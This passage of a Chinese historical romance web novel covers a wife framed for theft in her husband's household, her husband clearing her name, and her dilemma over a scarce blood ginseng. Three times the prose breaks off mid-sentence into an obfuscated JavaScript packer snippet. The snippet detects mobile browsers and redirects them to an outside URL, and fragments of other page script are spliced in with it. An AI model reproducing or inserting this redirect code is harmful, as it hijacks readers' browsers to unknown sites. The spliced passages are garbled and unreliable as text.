想告诉他今日读的《王摩诘诗集》，其中有两篇，她总觉得其中意境还有几分参不透，想问问他的见解； 想说今日路过西街的留香居，拿了两盒玉舒膏，对祛痘印颇有裨益，要送给孟绾，也不知效果如何。 可她看着孟玦眉宇间淡淡的不耐，那些到了嘴边的话便又咽了回去，她只能安慰自己，孟玦这样的人，心系黎民，是百姓之福。 心有大家，便顾不得小家。 而她要做他的妻子，就不能是一个心底狭窄的人，怨怼他不能像寻常郎君那般体贴。她能做的，不过静静相伴罢了。 *** 翌日。 沈卿婉在瑞和堂晨省罢，便来到孟绾所住的白玉馆。 一进院门便看见院子里立着几个大缸，种着各色睡莲，睡莲下藏着红色小鱼。墙角叠着几块玲珑山石，别有几分趣味。 屋内靠窗摆着一张梨花木书桌，案上堆着几本翻得卷边的话本。 靠东墙立着的一架雕花绣架，乌木架子上绷着半幅绣品，绣的是鸳鸯戏莲图。只是那鸳鸯的翅膀歪歪扭扭，莲花绣得大小不一。 还不待她细看，却见孟绾赶了过来，用绢布盖住了绣品，讶然道：“嫂子怎的来了？” 她与孟绾虽名属姑嫂，自入府来相见不过寥寥数次，每回皆止于客套寒暄，从未深谈。此番突然造访，确显唐突。 沈卿婉收回目光，唇角漾起温婉笑意，自袖中取出两只小巧锦盒递上：“前几日在母亲处闻得妹妹风疹初愈，却留了痕印。 “昨日恰经留香居，掌柜说这玉舒膏淡痕颇效，特买两盒赠与妹妹试用。若觉合用，日后可再捎来。” 孟绾伸手接过锦盒，指尖触到盒面精致的莲花纹样，鎏金的盒扣泛着柔和的光泽，一看便知价值不菲。 她轻轻打开一盒，里面的膏体呈淡粉色，散发着淡淡的珍珠香气，细腻得如同凝脂：“谢过嫂子了。” 沈卿婉见她喜欢，便道：“一家人何须言谢。” 她知孟玦看重家人，尤是这自幼相伴的妹妹。入府后便存了亲近之意，只是先前多在瑞和堂立规矩，无暇他顾；后又寻不着契机。 如今能借此往来，往后也算多个说话之人。 沈卿婉目光落在案上的话本：“妹妹也爱看书？” 孟绾小脸一红，小声道：“不过是些闲书消遣。” 沈卿婉往日亦翻阅过几册，无非才子佳人旧套，便随口拈一段情节说与她听。 孟绾一听，来了兴趣，眼睛亮了亮，话也多了几分：“嫂子也看过这本书？我最喜欢里面……” 两人言来语去，从话本聊到院里的花草，又说起京郊新开的茶寮，气氛渐渐热络起来。 两人之间的生疏渐渐褪去。 正聊到京郊茶寮的新茶滋味时，院外忽然传来急促的脚步声，红袖大步进来，掇着肩气喘道：“大娘子不好了！老夫人那边出事了！” 她心头一紧，忙起身问道：“何事慌张？” “老夫人丢了几件首饰，遍寻不着，说是宅内出了贼，请您即刻过去处置！” 孟绾闻言亦色变：“嫂子，我随你同去。” 两人匆匆赶到瑞和堂，一进门便见满院女使嬷嬷都敛声屏气地跪着，老夫人坐在上首的梨花木椅上，脸色铁青。 失物事小，家宅不宁事大。 见她来了，老夫人鼻腔里哼出一声：“才管了几日家，便闹出这等丑事？” 沈卿婉垂首认错：“是儿媳疏忽，母亲息怒。” 孟老夫人心里本憋着一股闷火，对上沈卿婉低眉顺目的样子，倒不好尽数发作：“既是你看管不力，后面的事你看着处理。” 孟绾已趋至母亲身侧，轻抚其背：“母亲莫气，嫂子既已命人闭了门户，逐一查问，那贼人插翅难逃。您千万保重身子。” 遂搀着孟母往内间歇息。 沈卿婉便在抱厦厅内坐定，旁设长案，置笔墨纸砚。常嬷嬷立其侧，含香与红袖负责笔录。 老夫人院中六名女使依次上前，细问行踪、辰光与人证。 如此盘诘两个时辰，所言皆琐碎无谓，或互证始终在一处，或独行无凭，竟无线索可循。 沈卿婉眉头微蹙，心里不得主意时， 常嬷嬷忽然揪住一个女使，厉声问道：“春杏，你畏畏缩缩做什么？” 沈卿婉见那女使面色青白，肩头发颤，遂温声道：“春杏，若知甚么只管说来，不必惧怕。” 那春杏眼神躲闪，嘴唇嗫嚅了半晌，带着哭腔道：“奴婢……奴婢今早倒是见着些东西。” 坐在内间的孟母将外面的问话听得一清二楚，命人打起帘子，“既看见了，便仔细说了。” “您丢的……是不是一对翡翠耳环？碧绿的，上面还嵌着小珍珠？” 一旁掌管孟母私物的常嬷嬷连忙问道：“正是！你在哪儿见着的？” 那春杏只是偷偷掀起眼皮看着沈卿婉，闭口不答。 沈卿婉蓦地心中生出一丝不安，随即听得她道：“在……在娘子的屋子里！” 一语既出，满院寂静。 常嬷嬷最先反应过来，喝道：“胡吣什么！娘子房中怎会有老夫人之物？” “奴婢没有乱说！今早我受老夫人之命去给娘子送东西，在外间等候时，无意瞅见花几上莲纹青花瓶后窝着东西，一闪一闪的。 “我凑近了瞧，见是一对耳环。方才慌乱未及想起，此刻方忆起。” 孟母只觉额角阵阵发晕，本欲借此磨炼沈卿婉，不意闹至如此田地。当即命常嬷嬷领人往清轩院搜检。 原地站着的沈卿婉手心冰凉，那春杏敢这样说，肯定是在屋子里看见了“赃物”，至于那“赃物”怎么来的，谁又能说清？ 另一边，刘嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054783|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬷望着日头，掐算着时间，在方寸大的房间里，来回踱步，料想着事情发展得差不多了，便扭身来到瑞和堂。 她先是瞥了一眼春杏，没出息的家伙，不就是诬陷吗？瞧她跟个鹌鹑似的。 她扭过头，款步走到孟母身边，行了礼，装作不知情的样子，问道：“这是做什么？好大的阵仗。” 有多舌的人与她讲了前因后果。 正说着，常嬷嬷带着几个仆妇回来了，她神情复杂地将金镯子与翡翠耳环递给孟母。 “沈氏，你还有何话可说？” 沈卿婉道：“儿媳也不知这些东西如何进了清轩院，只是这清轩院春杏进得，别人自然也进得。若真是儿媳拿的，又岂会明晃晃置于眼目之下，待人揭发？” 这一连反问倒显出几分情理，众人一时难下决断。 刘嬷嬷没想到平日里跟个闷葫芦似的沈卿婉，这会倒变得伶牙俐齿起来。她咬着后槽牙，不甘心地想：难不成就这么放过去了？ 常嬷嬷在孟老夫人边上又道：“除了这两件首饰，还搜出来别的东西，藏在箱笼最底层。” 孟母示意打开，只见那布包里装的尽是些金银首饰。 含香看见那包东西，惊得瞠目——此物怎会被翻出？下意识望向沈卿婉，主仆相视，皆露愕色。 沈卿婉自是认出那些首饰是陶氏的，而看含香的表情，她大抵是知道的。 檐上挂着的太阳，将沈卿婉晒出一身汗，刺痒难耐，她难耐地站在那，站在众人的目光中，她叠着两只手，手心却是冰凉的。 若她说了此物的来由，势必要牵扯到沈宅，牵扯到陶氏…… 如此一想，她便一句话也说不出来。 刘嬷嬷见状，差点拍手叫好，想来这些东西得来的不明不白，她才不敢解释。瞧瞧，连老天爷都站她这边。 她状似无意地提起昨日那两盒香膏，夸张地比这数字，“八两！一盒就要八两！我们大娘子可真是出手阔绰，一买就是两盒，普通人家一年的嚼用。” 孟绾插嘴道：“那两盒香膏并非是嫂子用了，而是拿给我了。” 哎？刘嬷嬷的笑意凝住，这倒是她没想到的，她眼珠一转，那又有什么关系，管她黄的，白的，她都能说成黑的。 “便不是自用，这钱财来路可正？若是叫郎君知道……” 孟绾想了想，命女使拿了过来，刘嬷嬷直接夺了过去，扔到沈卿婉面前，那盒子上缎面的莲花，顷刻沾了灰，失去了光彩。 刘嬷嬷做势道：“你自己用不干净的钱便罢，莫要带累我家姑娘！” 孟老夫人沉声问道：“你还有什么话可说？” 沈卿婉只觉如鱼入沸鼎，连挣扎的余地皆无。静默片刻，方道：“母亲，儿媳并未窃取耳坠。至于这些首饰……” 老夫人她不做声，只当她是默认，隔了好些时间道：“将她看好，等玦哥儿回来再做处置。” 刘嬷嬷是个心急的，此计本不算高明，不过仗着老夫人心意，若不当机立断，待郎君归家，恐生变数。 她不敢多耽搁，假意与孟母倾诉，说那郎君多么芝兰玉树的人物，本是要配相府的千金，如今却娶了一个手脚不干净的小门小户之女…… 这话倒是说在孟母的心坎上，她本不喜这个儿媳，经刘嬷嬷这么一提，她不禁动了心思。 老夫人沉着脸道：“让文房拟了休书，送去府衙。再派人给沈家递信！让他们来领人！” 含香闻言，脑袋变得一片空白，她抓着将要出门的女使，死死不肯放手，这休书写不得！若是写了，便是要了娘子的命啊！ 刘嬷嬷得意至极地望着沈卿婉，跟她斗，还嫩着呢。 “且慢——”，一道低沉的声音响起。 众人望去，见是孟玦回来了。 16. 冷清郎思感情事 不过一刻前，自春杏指认沈卿婉起，红袖便暗叫不妙，趁人不备抽身溜出，径往官署寻孟玦去了。 孟玦踏入瑞和堂时，身上那袭绯红官服还未及换下，暗红锦缎织着云纹，衬得他肩背挺直，如松如岳。 孟母道：“你可回来的正好！我已命人去拟写了休妻书，届时你便和沈氏一别两宽……” 沈卿婉两只手臂僵僵地垂在两侧，她垂着头，静静地等待着她那位丈夫的回应。 孟玦看了她一眼，道：“母亲，沈氏嫁入孟家两月，恪守妇道，并无过错，何以轻言和离？” 孟母一怔，随即道：“无过错？七出之中便有那盗窃一事，她犯了此事，何言无错？” 孟玦来时，只从红袖那听了个七八分，他唤常嬷嬷到跟前，仔细问了一番。 待知前后因果，孟玦略一颔首，缓步走至沈卿婉面前。 她抬眼望向他，看不清他黝暗的脸，只觉得异常沉默，他……可也会以为是她偷了那镯子？ 正胡思乱想着，却见他俯身拾起被摔在地上的锦盒。 他用指腹擦去上面的灰尘，递给孟绾，“既是你嫂子所赠，便好生收着，莫辜负你嫂子的心意。” 孟绾看了看沈卿婉又看了看孟玦，有些不知所措地将盒子收了。 他虽未明言态度，可一举一动不难察明其意。 沈卿婉看在眼中，那慌乱的心竟莫名定了几分，说不出缘由，只是见他在此，便觉得多了几分心安。 孟母迟疑道：“玦儿，你这是何意？” “此事疑点颇多，怎可妄下定论，便是十恶之徒，也须查明实据，方可论罪。” 刘嬷嬷见势不好，忙插嘴道：“这还要查明什么，她自己都辩不得…”，话未说完，触到孟玦扫来一眼，寒如冰刃，顿时噤声。 “刘妈妈既要回京中庄子，莫误了行程。家中之事，我自会处置，不劳费心。”，说着，他看了绿松一眼。 绿松心领神会地拉着刘嬷嬷：“妈妈，吉时不可误啊。” 刘嬷嬷扬声唤：“老太太——” 孟母并不看她。 刘嬷嬷心一横，扭身便要往孟老夫人脚下奔去—— 绿松眼疾手快，拦腰截住，口中道：“祖宗欸，可使不得！”顺手掏出一方布帕，塞入她口中。 厅堂内自刘嬷嬷去后，变得极为安静。 孟玦让孟绾陪着母亲回屋休息，命沈卿婉暂回院中，待查明后再行自在。 遂屏退众人，独留春杏。 瑞和堂耳房内，孟玦端坐上首，绿松侍立一旁，身后悬一古琴，漆光清冷。他一言未发，威压却迫得人气息难舒。 春杏跪在地上，头也快垂到地上去了。 孟玦声调如常：“你说‘在娘子房中见过那对累丝嵌珠耳坠’，既见过，为何当时不言？” 春杏哽声道：“奴婢……奴婢只当是娘子自个儿的物件，不敢多嘴……” “以为是娘子的东西……”他重复着这句话，“不过半天，就不以为那耳坠是娘子的了？”末几字声调骤扬。 春杏听了，浑身一抖擞，她抿着唇，想了一想道：“奴婢原是不识那耳坠是谁的，只是听说院里丢了东西，便想到了那一对耳坠。” “你在母亲身边做事，却识不得她老人家的东西？”孟玦句句紧逼，声音不带一丝温度，“若是娘子拿去，何以藏到一个你能看到的地方。” 春杏自知说多错多，便闭着嘴，一声不吭。 孟玦失了耐心，冷声道：“你若以为不言便可了事，那便错了。我即差人送你去衙门，由官府去申。” 绿松行至春杏身侧，低声道：“姐姐，知道什么便说了罢。进了衙门，再想出来可要脱层皮。” 遂说起衙门刑讯手段：“板子这般粗，三两下便皮开肉绽，再几下性命难保……”见她神色动摇，又执其手道，“更有竹夹之刑，若不招供，两边绳索一扯，竹板紧合——似姐姐这般纤纤玉指，顷刻血肉模糊……” 春杏往日何曾听过这些，吓得缩手，涕泪俱下，将始末尽数吐露。 原是刘嬷嬷唆使她行事。她非家生奴才，是孟玦赴颍州上任时在当地添置的。来年任满，孟玦回京，他们多半留于此处另谋生计。 刘嬷嬷便以能带她一同回盛京为由，唆使她做了这一番错事。 孟玦问及布包，春杏只是摇头说她也不知。 事已至此，春杏的事交由常嬷嬷看着处置。至于刘嬷嬷，孟玦书信一封寄往本家，念及喂养之恩，不予大惩，但终身不得踏出田庄半步。 *** 当夜，孟玦换下官服，独坐书房。 绿松捧来两册账簿，一录银钱支出，一载物品存取。 沈卿婉嫁进孟家不过两月，当家还未足一月，厘清起来不过几页纸的事情，孟玦细细核对了一番，并未有什么错漏之处。 那一包东西和香膏，既不是支了家里银子买的，也并非当了什么东西置的。 他沉吟片刻，自布包中拣出一支略显旧色的银丝莲花簪，就灯细看。指腹触及其上微刻，动作一顿，移近烛火翻转审视：“珍品斋……” “珍品斋？好像是南面一个卖首饰的铺子。”绿松想了一想道。 孟玦将簪子递给绿松，吩咐他明日看能在珍品斋打探出，这簪子是何人之物。 绿松接过簪子，奇道：“郎君，那布包既是娘子屋里查出来的，为何您不去问娘子呢？” “她若能说，早在众人质询时便已坦言。彼时不语，此时问我，亦不会答。” 绿松点头，似是感慨道：“未料郎君会相助娘子……先前还以为您会顺老夫人之意和离，毕竟……”他欲言又止。 孟玦执笔的手一顿，抬眸：“毕竟什么？” “毕竟郎君又不喜娘子。”绿松低声道。 孟玦笔尖凝住，片刻方道：“处事断案，须凭理据。我今日所为，只因此事确有蹊跷。纵是旁人，亦当如此。” 绿松欲退时，忽听孟玦出声：“你为何觉得我不喜她？” 绿松愣了愣，有点奇怪孟玦竟会问他这种问题，他斟酌着语句，缓缓道：“您成婚两月从未与娘子同房，平日里对大娘子也总是疏离客气……” “娘子说话温温柔柔的，待人宽厚。”绿松瞥了一眼孟玦，继续道：“尤其是对郎君您，更是无话可说。 “每日都亲手做了饭菜送去官署，看见您被蚊子咬，熬夜做了驱蚊的香囊。前些天一连的阴雨天，您又不肯回清轩院，还是娘子派人送了几床被子。 “我是打小跟在郎君身边的，自是希望郎君娶得如意夫人。虽说一开始……但我瞧着娘子没坏心眼，对您又好……” 末了有一句，“只可惜您心中一直装着曲姑娘。”他没敢说出口。 孟玦默然，抬眼望向窗外。只见一轮明月原悬窗中，渐渐升至檐角，终不可见。他方垂眸，重新落笔。 翌日。 绿松至南街寻得珍品斋，出示银簪。 掌柜细观良久，道：“这印记确是小店所有，只是……”他面露难色，“小店开张二十余年，售出首饰不下数千。此簪样式看来已有七八年光景，欲查当年买主，须一页页翻检旧账……难矣。” 绿松正央他再思，身后忽传来一道清润女声：“这簪子倒有些眼熟，可否借我一观？” 回首，见一着淡紫绫罗裙的女子立于门边，头上罩着一顶白纱围帽，轻纱垂落，遮住了容颜，她身后跟着两个青衣丫鬟。 绿松略作迟疑，递簪过去。 女子伸出纤指，轻拈簪身，不过片刻便抬眼——虽隔薄纱，目光似含浅笑：“我不仅知此簪属谁，亦知郎君来自孟府。” 绿松微讶：“姑娘何以得知？” 女子轻笑一声道：“此簪原是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065449|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府中一位姨娘之物，后给了五妹——便是你孟家娘子。” 绿松知道大娘子与沈府姊妹多有龃龉，只得假言道：“原是我在院中偶尔捡到，不知是哪位娘子的东西，不敢独占。又怕他人冒领，只想一蠢法子，凭着印记找到店铺来问。” “多谢姑娘指明。”说罢一揖，转身离去。 女子拿了东西，自回了马车，走到一半，脚步停住，掉身看向绿松去的方向，勾着嘴角道：“拾得？这中间，怕是没那么简单。” 马车并未驶向沈府，而是掉了方向去了孟府。 在孟府不远处，女子掀帘看了一会，从手上褪了一只白玉镯，给了女使道：“拿去门上问问，近日府中可有变故。” 女使应喏去了，不消多时，便带着消息回来。 女子听了，嘴角勾着笑道：“这般好戏，只在孟家上演，未免可惜。” *** 当夜，案头红烛幽幽地燃着，跳跃的火光舔舐着灯芯，将沈卿婉的侧影描得柔和。她坐在圈椅上，手里捧着一本诗集，神情淡然。 烛火摇曳间，一道影子在她跟前晃来晃去，搅乱了书页上的光影。 含香满面焦躁，在屋中来回踱步，发出轻微却急促的“哒哒”声，影子随之忽长忽短，屡屡掠过她眼前。 这般往复了数遍，她终于忍不住皱了皱眉：“你若是呆不住，便去院里走走。不过是禁足院中，并未不许走动。” 含香的脚步猛地顿住，影子也随之定格。她抬眼瞧了她一眼，垮着嘴角叹了口气：“娘子倒是不急……这诬陷之事，分明冲着您来。 此计本不算周密，她们敢为之，不过是觉着主君不重您，不会为您做主……若主君顺水推舟，借此将您休弃，可如何是好？ “便不和离，担了污名也是大事，您怎就不急？”，她恨铁不成钢地看了沈卿婉一眼。 沈卿婉这才缓缓抬眼，烛光映在她眼底，漾起一丝极淡的波澜，声调平静：“这事本就漏洞百出。我不忧他查不出真相，只虑……” 话音稍顿，眉间掠过一丝凝重，“只虑那包物件，该如何分说？若牵出沈家……” 静了片刻，她轻叹一声道：“你若是早些告知我，何至于造成今天这番局面。” 含香面露愧色，跪在她跟前：“那日见这包东西，便知娘子若晓，定不容留。只想着来日随主君返京，侯府中用度之处甚多……” 她自是知道含香做这些都是为她好，只是世事难料，她合上书，扶着含香起来，“以后有什么事，定要与我说。” 含香含泪颔首。 院外传来通报声：“娘子，主君来了。” 沈卿婉打着帘子，迎面看了过去，月色勾勒出一道清瘦挺拔的身影，周身萦绕着一股清冷疏离的气息，恰如天边悬着的孤月。 孟玦于罗汉床一端坐下，沈卿婉坐于另一端，唤含香看茶。 他喝过一回茶道：“事已查明，你不必再拘于院中。” 她听这话，微微颔首，等了片刻，不见下言，她迟疑地问道：“那……那布包，我能拿回来吗？” “自然。本是你之物，理当归还。” 沈卿婉面色微变，她捻着衣角，忍不住问道：“夫君……可是去了沈家？” 孟玦若有所思地扫了她一眼，果然，她缄口之故正在沈家。 他瞧她一脸紧张，解释道：“我未亲往，只让绿松去首饰铺探问，得知是陶氏旧物。” 说到此处，孟玦问出声：“为何不肯告知我实情？是恐我向沈家追究，还是不信任我？” 刚放松的脊背，听到问话，又变得僵硬起来。 他并没有想逼她做些什么，见她这样紧张，语气放缓了许多：“你我既是夫妻，当坦诚相待，互信不疑。有何难处，不必独自承担。” 她抬眸望他，眼中百般情绪流转，终是化作一声几不可闻的轻应。 17. 好女儿面两难择 她刚应下，便听他问起那留香居的香膏：“我看过账簿，并无这笔账的出入。” 她顿了一下，抬眸对上孟玦望过来的视线，不由想起方才那“坦诚相待”之言。 略一沉吟，轻声解释道：那香铺掌柜原是旧识，素日喜我调香手艺，前些日子央我替她配一味香料。盛情难却，便应下了。 临行时，掌柜执意要付工钱，我推辞不过，又恰闻她铺中有淡痕的香膏，想着妹妹也许能用得上，便换了两盒回来。” 孟玦听了这话，指尖无意识抚过腰间那枚驱蚊香囊，她确实有一手好的制香手艺，旁人愿与她置换，也是无可厚非。 只是…… 他温声问道：“既如此，晨间众人质疑香膏来历时，为何半句也不辩解？” 沈卿婉沉默着，那般情状，她要如何辩解？她辩解了，众人就会信吗？ 她早看得分明，有时结果并不紧要，紧要的是老夫人待她的心意。若老夫人疼她，便是不辩亦无妨；若不喜，纵然说破唇舌亦是徒劳。 这道理，她幼时便懂了。 在沈家，她被诬陷偷了三姐的玳瑁管紫毫笔，她努力辩解，可真相有那么重要吗？因为陶氏不受宠爱，并无地位，她的辩解就变得和雪一样苍白。 她不再被允许进入家塾…… 她少时不懂人情世故，只道自己被冤枉了，气不过，就真的去抢了三姐的玳瑁管紫毫笔…… 后来，陶氏为这事险些丧了命。从那以后，她才知任性须付出何等代价，从此再不敢恣意妄为。 记忆里鲜艳的血红色和屋内的红烛重重合合，一簇一簇地跳动着，直烧到她心里去。 她回过神，摩挲着茶杯，指甲顺着上面的花纹，轻轻划过，低声道：“辩解了，又能如何呢？” 她说这话，虽努力压抑着情绪，仍透出几分掩不住的凄清。 他再向她看了一眼，那刘嬷嬷设计了如此一个漏洞百出的计谋，依仗的什么？ 不过是母亲对沈卿婉不喜，再则……便是他这做丈夫的态度。 念及至此，一股陌生而异样的情绪倏然涌上心头，他难以体味真切。 静了半晌，他道：“阿绾年幼不懂事，原是听了旁人混说，错怪了你。这是她的不是，我已训过她了，改日让她亲自来给你赔罪。” 沈卿婉垂眸望着杯中漾开的水纹，淡淡道：“不必了。” 对于孟绾，她原也没指望送两件东西就能与她亲密无间，只是……那香膏是她最拿得出手的礼物，就那么被粗鲁地扔在她面前，骨碌碌地打了几个滚。 盖子摔开，里面香膏发着甜腻腻的味道，熏的她眼睛发干。 房间里又安静起来，她始终缄默着。 她以为两个人就这么无言以对的安静下去的时候，又听他道：“明日我要往广和、栖霞县去。那边的松子糖和彩雕泥人都是些可心的小物，你可有什么想要的？” 沈卿婉一时摸不清他的态度，只觉心口微微酸胀。若是没有诬陷这桩事，她定是开心的，开心他能与自己说这些。 她想了想道：“家中诸物俱全。倒是夫君此行远去，近来雨水连绵，乡野之地不比城中暖和，还望千万保重。” 说着便起身往衣柜去了：“再给你带两件厚实些的衣裳，添在行囊里才放心。” 孟玦跟着起身道：“不必麻烦，行囊里已备妥了。” 沈卿婉闻言一怔，转过身来，却见孟玦不知何时已立于书案旁，目光正落在最上头那本诗册上。 他执起诗集，看见上面密密麻麻写了批注，显然是花了心思的。 “可读出些滋味了不曾？” 沈卿婉道：“妾身愚钝，只怕会错诗意，未必妥当。” “无妨，你且说来我听。” “依妾身浅见，诗里有口里说不出的意思，有些事物乍一看不甚相关，但仔细一想，却是有理有情的。” 孟玦抬眸看她，清冷的眸色里添了几分柔和，问她：“是何处见得？” “譬如说‘日落江湖白，潮来天地青。’这‘白’‘青’两个字，看似无理，实则一想，除了这两个字似乎没有更好的去形容。” 孟玦微微颔首，声音放缓道：“他的诗，多是景中见心。”又翻到“寒山转苍翠，秋水日潺湲”，“你看这联，寒山渐深，秋水不息，看似平淡，却藏着静水流深的从容……” 二人就着诗集聊了许久，那红烛快燃尽了，外面传来打更的声音，二人才惊觉已经是子时了。 沈卿婉知他明日要走，今晚还拉着他问了这许多问题，心有愧疚，赶忙拾掇了诗集，打发他去歇息。 待孟玦回到书房，忽觉四下空寂。脑海中不由浮起方才论诗时她凝眸望来的眉眼，以及她身畔那缕似有还无的幽香。 夜已深沉，他敛心不再深想。有什么事，待这趟回来，再与她细细分说吧。 *** 六月的日光是淬了金的，铺天盖地泼洒下来，把青砖黛瓦晒得发烫，连院角的梧桐叶都透着亮。 沈卿婉坐在梳妆台前，指尖抚过桌上那个布包。 这布包装的本是小娘的心意，却没想为她惹来祸端，她轻轻叹了一口气，准备一会向婆婆请示一声——她要回沈家一趟，将这布包送回去。 这里面都是小娘积攒的首饰，但认真论起来，却算沈家的财产。若是叫沈家的人知道……小娘那又该不得安生了。 院外传来马车轱辘滚动的声响，车夫已经在门外等候。 半个时辰后，车夫扬鞭轻喝，马蹄踏在青石板路上，发出清脆的嗒嗒声，车轮碾过路面，带着平稳的晃动。 至沈宅门前。 沈卿婉方往里走，险些与一名匆匆出来的女使撞个满怀。身后含香忙扶住她，正要责问，却在看清对方面容时惊道：“青琪，怎么是你？” 那青琪一见沈卿婉和含香，眼眶霎时红了，攥紧沈卿婉的手哽咽道：“姑娘，陶小娘不好了。” 沈卿婉心头猛地一沉，不待细问，直奔青芜院。 途中从青琪断断续续的哭诉中得知：原来陶氏不知从哪听说她在孟府过得不好，说她被郎君冷待，连府中下人都敢欺辱…… 陶氏本就身子虚，又肝火旺。一听这话，当即就急火攻心，呕了一口血出来，之后便高烧不退，昏迷不醒。 沈卿婉冲进屋内，只见陶氏僵卧榻上，双目紧阖，面白如纸。乍看去竟似一尊失了生气的玉像，连胸口的起伏都微不可辨。 她一步步挪近榻边，望着病骨支离的生母，泪意涌上眼眶。蹲身探她额温，竟烫如炭火，灼得指尖一颤。 “小娘病得如此重，为何没有请大夫？” “如何没请！”青琪抹泪道，“大夫都说小娘是急火郁结、气血逆行，这才呕血。如今高烧不退，脉象散乱，只怕……只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076652|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕凶多吉少啊！” “那就没有医治的法子吗？” 青琪道：“大夫说了是心病加身，寻常汤药根本压制不住。如今唯一的法子，便是用血参吊命，能大补元气，生津止渴，或许还能护住夫人的心神。 “只是这血参太过珍贵，尤其是年份足的血参，寻常人家根本难以得……” 血参？ 沈卿婉心中燃起一丝希望，沈家好歹算是官宦人家，府中库房万一有呢？她当即起身，去寻贾氏。 荣安堂内，主母贾氏斜倚在贵妃榻上，听闻她的来意，眼皮都未曾抬一下，只一句：“没有。” 沈卿婉不信，她直言道：“母亲既未翻查药材账册，也未传唤管库房的李嬷嬷，单凭一句‘没有’便要搪塞女儿么？” “放肆！”贾氏大喝一声，“你虽嫁给了孟玦，但在沈家，还轮不到你耍横——” 正说着，沈阶散值回家，见到沈卿婉，他道：“你不在孟家好好待着，跑回来做什么？” 沈卿婉“扑通”跪下，向他道：“小娘病重，急需血参续命，求父亲发发慈悲，救救她！” 沈阶看了一眼贾氏，又看向她，沉声道：“家中确实没有血参，你不必再求。” “怎么会没有？”，沈卿婉目光扫过堂内侍立的丫鬟仆妇，又看向贾氏与父亲冷漠的脸。 只觉得满室的人都像庙里的泥胎神像，平日里受着香火供奉，真到需要伸手救人时，却个个冷眼旁观，铁石心肠。 她惨然一笑，声音带着刺骨的寒意：“是真的没有，还是你们根本不想救？” “啪”的一声脆响，沈阶的巴掌狠狠甩在她的脸上。她被打得一个趔趄，嘴角渗出血丝，耳边嗡嗡作响。 “你如今是以什么身份来质问我？”，沈阶道：“是以沈家女儿的身份来质问我，还是以孟氏夫人的身份来兴师问罪？ “若以沈家女儿身份，这一掌便是教你何为尊卑；若是孟氏夫人——” 他冷哼一声：“你母亲怎么得的病，你心里难道不清楚？若非你在孟府经营不善，连个男人的心都抓不住。 “何至于让风言风语传到你小娘的耳边，如今你还有脸回来质问我？” 沈卿婉捂着脸，不再多言，这一巴掌算是让她看透了，无论沈家有没有血参，都是不可能拿血参来救她的小娘。 她想起孟家乃是侯府，或藏此药，便匆匆赶回孟府，命人取来药材簿细查。翻至末页，果见一行小字：存十年血参半支。 去岁孟母初至颍州，水土不服头风发作，京中本家特调血参来用，余下半支存库。 沈卿婉看着记录，心里松了一口气，命人取来，打开盒子只见半支通体泛红、形状饱满的参体静静躺在其中，隐隐透着淡淡的药香。 她刚要命人送去沈家，却见常嬷嬷寻了过来，她心中忽然有了不好的预感。 “娘子，老太太这两日茶饭不思，头风病突然加重，浑身乏力，气血亏虚得厉害，大夫说，必须用血参进补！ “奴本要去库房取那红参，那边说你取走了，可在你这？” 沈卿婉僵硬地点了点头，整个人如坠冰窟。 怎会这般巧？ 怎偏是此时？ 她喉间哽塞，一字难言。 一边是生身之母，命悬一线；一边是夫君之母，托她照看。 府中唯一可救命的血参，该予谁？ 18. 违约女再入陈家 一股子虚乏无措之感，恍如暗夜潮生，汹汹然漫卷而来，将她裹挟其中，几欲窒息。 虽是盛夏炽烈天光底下，她却觉着透骨的寒，冷得齿关相击，生生将下唇咬破了一层皮。腥甜之气在舌尖漫开，方将她从混沌里扯回几分清明。 常嬷嬷见她脸色难看，试探着唤了一声：“娘子？” 她嗓子发哑地问道：“若是从盛京再调一支，需要多长时间？” 常嬷嬷虽奇怪她怎么突然问起这个，却还是认真回道：“最少也得五日。” 五日——沈卿婉心口一沉，如坠冰窖。莫说五日，便是一日，榻上两人谁也耽搁不起。 她心里越发没了主意。 常嬷嬷观她面色惨白，神思恍惚，心下已了然七八分，温声探问：“娘子取这血参，可是另有要紧用处？” 沈卿婉唇瓣微颤，半晌才低声道：“是……我小娘病重垂危，，亦需此物吊命。” 常嬷嬷闻言，眼中掠过一丝了然与怜悯，轻轻叹了口气：“老夫人这病也是拖不得了。昨日夜里便晕眩难起，需得血参补气固元，只怕……” 话未尽，意已明。 沈卿婉愣了愣，明白了她的意思，她闭了闭眼，压下喉间哽咽，对含香哑声道：“含香……将血参取来，交给嬷嬷，送去母亲屋里。” “娘子！”含香有些意外地叫出声，念着外人在这，她凑到沈卿婉身边，压低声音道，“那陶小娘那边……” 沈卿婉垂下眼帘，声音轻得像叹息：“我再想办法。” 